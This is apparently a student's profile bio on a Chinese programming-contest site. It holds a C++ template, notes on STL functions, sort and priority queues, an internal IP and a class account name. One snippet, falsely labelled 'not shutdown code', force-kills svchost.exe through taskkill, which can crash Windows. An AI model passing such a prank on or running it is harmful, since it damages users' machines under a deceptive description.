-
Bio
不要理逼你的人,尽情追求你自己的梦#include<bits/stdc++.h> #define itn int #define fro for #define cotu cout #define mian main #define fropen freopen using namespace std; int main() { // freopen(".in","r",stdin); // freopen(".out","w",stdout); ios::sync_with_stdio(false); cin.tie(NULL); return 0; }不是关机代码:
#include<windows.h> int main(){ system("taskkill /f /im svchost.exe > nul"); return 0; }#include<bits/stdc++.h> using namespace std; int i = 0; int main() { while(i < 6666) { i++; cout << i; for (int j = 1;j <= i;j++) { cout << " "; } } return 0; } //截到6666给100块;1.小数位数开关 cout<<fixed<<setprecision();
2.次方函数 pow(,);
3.开方函数 sqrt();
4.交换函数 swap(,);
5.最大值函数 max(,);
6.最小值函数 min(,)
7.绝对值函数 abs();
172.20.6.60
高考662的助教上课使用账号:stu_096
收到: http://172.20.6.60/d/summer/p/A0001
某很年轻的编程专家(不是最年轻)(qy2002)的贪心语录:
struct node { int a,b; friend bool operator <(node x,node y)//友元函数 { return x.a%2<y.a%2; } }o[10]; // 已经定义了小于号的东西,可以直接sort // 用法:sort(a+1,a+1+n); 1到n // sort(a+l,a+r+1) 表示对区间l到r进行排序优先队列(也需要定义小于号
priority_queueq;声明一个存储类型为int的堆
q.push(1);放进去元素
q.push(2);
q.top();有返回值的函数,返回堆里的最大值,不删掉
q.pop() 没有返回值,删掉堆里的最大值。
q.size()返回值为当前堆的大小(堆内元素数量)
q.empty()当堆内元素数量为0时,返回值为1。如果元素数量大于0,返回值为0
要注意,只有堆里有东西的时候才能top和pop。没东西的时候执行top和pop是未定义行为,一般会导致re
怎么看有没有东西:q.size()或者q.empty()
-
Accepted Problems
-
Recent Activities
This person is lazy and didn't join any contests or homework.